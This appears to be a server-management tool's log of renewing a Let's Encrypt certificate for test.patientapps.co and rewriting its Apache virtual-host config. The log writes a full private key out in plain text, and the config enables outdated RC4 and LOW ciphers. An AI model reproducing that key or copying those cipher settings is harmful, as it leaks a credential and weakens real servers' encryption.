MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-01 12:53:35: Establishing a connection
2026-04-01 12:53:36: Establishing a connection
2026-04-01 12:53:36: 

PUT: /tmp/pkp243363

#!/bin/bash
if [ -d "/var/www/patientapps_test/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-01 12:53:36: 

chmod 755 /tmp/pkp243363; /tmp/pkp243363; rm /tmp/pkp243363

2026-04-01 12:53:36: 


1


2026-04-01 12:53:37: Establishing a connection
2026-04-01 12:53:37: 

PUT: /tmp/pkp339926

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
cat > R1nvoxoBgZdGB9S_Jzq_oZyaOrGlQO12JGCxSF5JGac <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
R1nvoxoBgZdGB9S_Jzq_oZyaOrGlQO12JGCxSF5JGac.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 R1nvoxoBgZdGB9S_Jzq_oZyaOrGlQO12JGCxSF5JGac


2026-04-01 12:53:37: 

chmod 755 /tmp/pkp339926; /tmp/pkp339926; rm /tmp/pkp339926

2026-04-01 12:53:37: 




2026-04-01 12:53:47: Establishing a connection
2026-04-01 12:53:47: 

PUT: /tmp/pkp179277

#!/bin/bash
mkdir -p "/var/www/patientapps_test/.well-known/acme-challenge/"
cd "/var/www/patientapps_test/.well-known/acme-challenge/"
rm R1nvoxoBgZdGB9S_Jzq_oZyaOrGlQO12JGCxSF5JGac


2026-04-01 12:53:47: 

chmod 755 /tmp/pkp179277; /tmp/pkp179277; rm /tmp/pkp179277

2026-04-01 12:53:47: 




2026-04-01 12:53:47: Establishing a connection
2026-04-01 12:53:47: 

PUT: /tmp/pkp503453

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4d585ce19a4f3515f777a21dc27e293

cat > $temp_file <<'endmsg'
17:c8:c6:01:eb:64:8a:16:50:11:14:89:6e:15:13:b4

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBrSuz4ArMSw1wBXTMsq6OxIxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDAxMTE1NTEyWhcNMjYwNjMwMTE1NTExWjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAkSzUCMym7KRRoP8ayvFgcLg45t+EjBX5W9vbMYaq47oQEBqb0RCLqKc8
ZK9UX/x7fhchMRoO/lSfz1ZLvjO5qDUCc2v6hkfsALc4SCyCcjz+bWjHBItua265
52mK5A3NqTbBRoHZLVVcHB9KY9yDQJAIICjRA4BMSN7tcCHJ7wlrxw1Gx6oTGDCY
NOkpojIWKK6JJhU4aIJG3OGmVhTCDnmSCND2RruXrECHjr90ClbTs4kM1HIv0CFs
U17a3eeN5WR8VoHjtwOfTGsukfFFYshfwhxgw7om8rI4ZqVjuRHlc3Lw+yQsZwIz
J5VPkyVNx+n4AUOaYhl9XnBrh4GSQQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FEnwhJtNCuKY8Gf1MS9TcG0c8eqDMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITdGVzdC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzUwLmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB9AKgmy+MK
xjUSRlM/4GXxTxnZbhkIE8Qd2W15ALMSPFUnAAABnUkbXcoACAAABQAFHnctBAMA
RjBEAiA2xLVSyuOh+gTGD7DmnwiF23s/3dcM/kka9sAp8PhIlAIgcyXcbJj2g4+d
390xdZiyeiOb3gyJU0UJyR1X8+gYS0QAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcK
aQWFsMsUwxRY5wAAAZ1JG2oIAAAEAwBHMEUCIQCE5t5+GyqvvRepn652496iopu1
NDnEaY+5Suw936TlZAIgPwScYsVdSdwNv4lunuJypl2u4VGNb41UgLspIiqu9hIw
DQYJKoZIhvcNAQELBQADggEBAFurcoD2H17lrtCXtOQ05ddddD/gAEoSQOOfv3z1
ou4nAZK9lL2q2Dcvu5thnS+nrZMFx2obKZulwLXvg7YEdCNnfPu3AuNS6YUAqz8V
8udcnVQUoHjv1ddzHOVEEVwVkE+u/aAs4Hx+L4tfex6AUn26hkjNUkIRh/KyHGz3
dvMqD0ziMoIWDWlW3eaZSgpNgz6mG58KpMbj1LVYmT7cL+1gEbtgTLBcDFSM0U0p
dTULninrmSltyrciKajNzy+ekKtRPVFyQDHv2ZZNtIBqHO9LLdyaASwcYBA7j+C4
kEV/E/I1h8wdHn5I4OJnXCp4h1K4IHTeXhfeXACuoy/BY1g=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCRLNQIzKbspFGg
/xrK8WBwuDjm34SMFflb29sxhqrjuhAQGpvREIuopzxkr1Rf/Ht+FyExGg7+VJ/P
Vku+M7moNQJza/qGR+wAtzhILIJyPP5taMcEi25rbrnnaYrkDc2pNsFGgdktVVwc
H0pj3INAkAggKNEDgExI3u1wIcnvCWvHDUbHqhMYMJg06SmiMhYorokmFThogkbc
4aZWFMIOeZII0PZGu5esQIeOv3QKVtOziQzUci/QIWxTXtrd543lZHxWgeO3A59M
ay6R8UViyF/CHGDDuibysjhmpWO5EeVzcvD7JCxnAjMnlU+TJU3H6fgBQ5piGX1e
cGuHgZJBAgMBAAECgf8xkofUzrfb6+rzztNB+VUKfd2a+I2KSEvzJ1/xyXURI2KD
cpKXu86fXdEsOwfUvvfBq/mUNWcT8ab1uxdMxjI0qI/trzFyKPJYTDgrwlxzezW7
USFPAU2d4cbD/oYu2YfLVacp1wJnOH6mG7PgkFaWn+17uHRRfb3kJDtvzsSQRWOf
DfeMYaRB6Oo1O9LSrf10xGmFBoOZKCNstIXanujXBTU8oKW64i+dACmgW+M4x5Op
uwK97bagL4A9pT8Mt0p9H4cEbzF83HVxcsYgSOuXqYq8xaH6b0HM4y5SoOPqwVzP
EAEkAp4qb1+izsY6HNQ7pZPPwISLZlywZs/VBmUCgYEAwb/1HpaZPkfMIuMfqDp3
LfUz/B+CHAl6npMYE/yC0V5U/rtEqEVXbXTbOWMqWv4vRrfkFXyQ/PD2dy7YO9mY
SDqgj5VnKAjUJHUG348BfRM5i4sI058exzxTNEHbWkCCVGiwRksFwuRB2mr91Hag
dGVktvAznF82sUt0+toVlg0CgYEAv9GR614rXRIiD/D0m9cBAawDmZufdVQJKSXi
IS9rGRH3CxtE5T2UPjy0yYcI+g/QSRA4WMv6ONBVS0LYqDT8CE0Ph8wyw7fJoII/
zHmc6peNdZOgAwO1SQ+C8fUG6V5EEjJFSbJFrZI3FHDlWVT6zSWUsi4dbSh3NEOB
qRlHNAUCgYEAqBFt/lTBJgd+Cx1eTr44uAMmTyS95rhKR9htYJkAmcHslPO5wQY1
qttdd9CP41Lvi7blAcaGtwQHqKdYJ8K/mJhSw3rkexP9goqJpdAViHvuxR+cToaP
WmD4BDLEpuuioroVf0SBAOikP2XkPjORSKbT0OVYv+LQPMep+BjJ9NkCgYB+heFV
+rtnnHpTQYBW+q5zR97oBzpazZ9tQMuzT++4jZ0B+m6rNr79flVRSHynVJ7yUnyY
NZNKvkBEcEcwTCKh5xKDZDFn32ZjNQaX/O9/3Y81Kra0xlFha5XXuuNgMwl7ZyVE
ww4quvMRzJW7Is57WnqGPNy0D6jxFEYGH+JTcQKBgCqEO1u5NFjMNz9Y0M7bHP58
C4iYV5mAgxnxUzJ+gMnMGt8LgZSYgTEwU/+jcb4Q1ASyWgtmf7rQASjdwmuul824
sVAX9dAJHIVHdtWm4gp98GKAOzUv7DoUHX7Pdv2iBPFDcThYcgjQticXcU+BHwdJ
CmS2AuZZ8NslecK3bY4M
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-01 12:53:47: 

chmod 755 /tmp/pkp503453; /tmp/pkp503453; rm /tmp/pkp503453

2026-04-01 12:53:47: 


dir=/etc/ssl/certs


2026-04-01 12:53:47: 

PUT: /tmp/pkp320704

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_test_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-01 12:53:47: 

chmod 755 /tmp/pkp320704; /tmp/pkp320704; rm /tmp/pkp320704

2026-04-01 12:53:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 43

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-01 12:53:47: 

PUT: /tmp/pkp102669

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_test_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_test_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_test_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf= 1'
fi


2026-04-01 12:53:47: 

chmod 755 /tmp/pkp102669; /tmp/pkp102669; rm /tmp/pkp102669

2026-04-01 12:53:47: 




2026-04-01 12:53:47: 

PUT: /tmp/pkp271714

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-01 12:53:47: 

chmod 755 /tmp/pkp271714; /tmp/pkp271714; rm /tmp/pkp271714

2026-04-01 12:53:48: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-01 12:53:48: Establishing a connection
2026-04-01 12:53:48: 

PUT: /tmp/pkp267130

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-01 12:53:48: 

chmod 755 /tmp/pkp267130; /tmp/pkp267130; rm /tmp/pkp267130

2026-04-01 12:53:48: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
